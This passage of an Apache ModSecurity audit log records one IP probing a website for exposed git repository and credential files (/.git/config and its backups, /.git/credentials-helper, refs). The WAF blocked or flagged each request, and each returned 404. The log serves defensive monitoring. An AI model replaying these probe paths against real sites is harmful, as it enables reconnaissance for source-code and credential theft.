Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.save||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.save||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config.save"] [unique_id "aqYFSysVWymXUono-eRQhQAAAA4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.save||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.git/config.save"] [unique_id "aqYFSysVWymXUono-eRQhQAAAA4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.save||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config.save"] [unique_id "aqYFSysVWymXUono-eRQhQAAAA4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227094841 1211659 (- - -)
Stopwatch2: 1789265227094841 1211659; combined=57255, p1=14111, p2=43080, p3=0, p4=0, p5=63, sr=13947, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1853b25c-Z--

--508be801-A--
[13/Sep/2026:05:07:08.327990 +0300] aqYFSysVWymXUono-eRQfQAAAAU 172.86.81.63 50412 127.0.0.1 7081
--508be801-B--
GET /.git/refs/heads/master HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--508be801-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--508be801-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/refs/heads/master||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/refs/heads/master||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/refs/heads/master"] [unique_id "aqYFSysVWymXUono-eRQfQAAAAU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227057060 1270978 (- - -)
Stopwatch2: 1789265227057060 1270978; combined=4182, p1=214, p2=3905, p3=0, p4=0, p5=62, sr=100, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--508be801-Z--

--b9d01776-A--
[13/Sep/2026:05:07:08.377005 +0300] aqYFSysVWymXUono-eRQhAAAAAQ 172.86.81.63 50516 127.0.0.1 7081
--b9d01776-B--
GET /.git/config.bak HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--b9d01776-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b9d01776-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.bak||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config.bak"] [unique_id "aqYFSysVWymXUono-eRQhAAAAAQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.git/config.bak"] [unique_id "aqYFSysVWymXUono-eRQhAAAAAQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config.bak"] [unique_id "aqYFSysVWymXUono-eRQhAAAAAQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227080737 1296315 (- - -)
Stopwatch2: 1789265227080737 1296315; combined=69391, p1=29064, p2=40265, p3=0, p4=0, p5=62, sr=28969, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b9d01776-Z--

--1853b25c-A--
[13/Sep/2026:05:07:08.391250 +0300] aqYFSzTJ6xTvcJoem7f1JQAAAFY 172.86.81.63 50606 127.0.0.1 7081
--1853b25c-B--
GET /.git/credentials-helper HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--1853b25c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--1853b25c-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials-helper||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials-helper||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/credentials-helper"] [unique_id "aqYFSzTJ6xTvcJoem7f1JQAAAFY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227216067 1175237 (- - -)
Stopwatch2: 1789265227216067 1175237; combined=3903, p1=172, p2=3680, p3=0, p4=0, p5=51, sr=71, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1853b25c-Z--

--508be801-A--
[13/Sep/2026:05:07:08.598132 +0300] aqYFSzTJ6xTvcJoem7f1HgAAAEU 172.86.81.63 50556 127.0.0.1 7081
--508be801-B--
GET /.git/objects/info/packs HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--508be801-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--508be801-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/objects/info/packs||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/objects/info/packs||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/objects/info/packs"] [unique_id "aqYFSzTJ6xTvcJoem7f1HgAAAEU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227189919 1408271 (- - -)
Stopwatch2: 1789265227189919 1408271; combined=33135, p1=185, p2=32853, p3=0, p4=0, p5=97, sr=86, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--508be801-Z--

--98c64347-A--
[13/Sep/2026:05:07:08.632293 +0300] aqYFSysVWymXUono-eRQgwAAAA0 172.86.81.63 50508 127.0.0.1 7081
--98c64347-B--
GET /.git/config HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--98c64347-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--98c64347-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config"] [unique_id "aqYFSysVWymXUono-eRQgwAAAA0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.git/config"] [unique_id "aqYFSysVWymXUono-eRQgwAAAA0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config"] [unique_id "aqYFSysVWymXUono-eRQgwAAAA0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227080300 1552040 (- - -)
Stopwatch2: 1789265227080300 1552040; combined=79738, p1=31790, p2=47886, p3=0, p4=0, p5=61, sr=31633, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--98c64347-Z--

--b9d01776-A--
[13/Sep/2026:05:07:08.672280 +0300] aqYFSzTJ6xTvcJoem7f1IAAAAEA 172.86.81.63 50554 127.0.0.1 7081
--b9d01776-B--
GET /.git/config~ HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--b9d01776-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b9d01776-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:config~||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config~||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config~"] [unique_id "aqYFSzTJ6xTvcJoem7f1IAAAAEA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.git/config~"] [unique_id "aqYFSzTJ6xTvcJoem7f1IAAAAEA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:config~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config~"] [unique_id "aqYFSzTJ6xTvcJoem7f1IAAAAEA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config~"] [unique_id "aqYFSzTJ6xTvcJoem7f1IAAAAEA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227200297 1472037 (- - -)
Stopwatch2: 1789265227200297 1472037; combined=32166, p1=165, p2=31906, p3=0, p4=0, p5=95, sr=72, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b9d01776-Z--

--98c64347-A--
[13/Sep/2026:05:07:08.705200 +0300] aqYFSzTJ6xTvcJoem7f1JAAAAEQ 172.86.81.63 50590 127.0.0.1 7081
--98c64347-B--
GET /.git/info/exclude HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--98c64347-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--98c64347-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/info/exclude||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/info/exclude||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/info/exclude"] [unique_id "aqYFSzTJ6xTvcJoem7f1JAAAAEQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227210303 1494960 (- - -)
Stopwatch2: 1789265227210303 1494960; combined=3957, p1=180, p2=3725, p3=0, p4=0, p5=52, sr=76, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--98c64347-Z--

--bd48233b-A--
[13/Sep/2026:05:07:08.735145 +0300] aqYFSzTJ6xTvcJoem7f1IwAAAEI 172.86.81.63 50580 127.0.0.1 7081
--bd48233b-B--
GET /.git/config.old HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--bd48233b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--bd48233b-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.old||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config.old"] [unique_id "aqYFSzTJ6xTvcJoem7f1IwAAAEI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.git/config.old"] [unique_id "aqYFSzTJ6xTvcJoem7f1IwAAAEI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.old||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config.old"] [unique_id "aqYFSzTJ6xTvcJoem7f1IwAAAEI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227208285 1526926 (- - -)
Stopwatch2: 1789265227208285 1526926; combined=47263, p1=173, p2=47022, p3=0, p4=0, p5=67, sr=71, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bd48233b-Z--

--fe1c427b-A--
[13/Sep/2026:05:07:08.738161 +0300] aqYFSzTJ6xTvcJoem7f1IQAAAEY 172.86.81.63 50550 127.0.0.1 7081
--fe1c427b-B--
GET /.git/credential-cache HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--fe1c427b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--fe1c427b-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credential-cache||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credential-cache||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/credential-cache"] [unique_id "aqYFSzTJ6xTvcJoem7f1IQAAAEY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227202861 1535348 (- - -)
Stopwatch2: 1789265227202861 1535348; combined=19806, p1=180, p2=19573, p3=0, p4=0, p5=53, sr=83, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fe1c427b-Z--

--bd48233b-A--
[13/Sep/2026:05:07:08.744122 +0300] aqYFSysVWymXUono-eRQhgAAABE 172.86.81.63 50622 127.0.0.1 7081
--bd48233b-B--
GET /.git/refs/remotes/origin/master HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--bd48233b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--bd48233b-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/refs/remotes/origin/master||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/refs/remotes/origin/master||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/refs/remotes/origin/master"] [unique_id "aqYFSysVWymXUono-eRQhgAAABE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227264354 1479836 (- - -)
Stopwatch2: 1789265227264354 1479836; combined=4756, p1=354, p2=4342, p3=0, p4=0, p5=59, sr=87, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bd48233b-Z--

--38f08864-A--
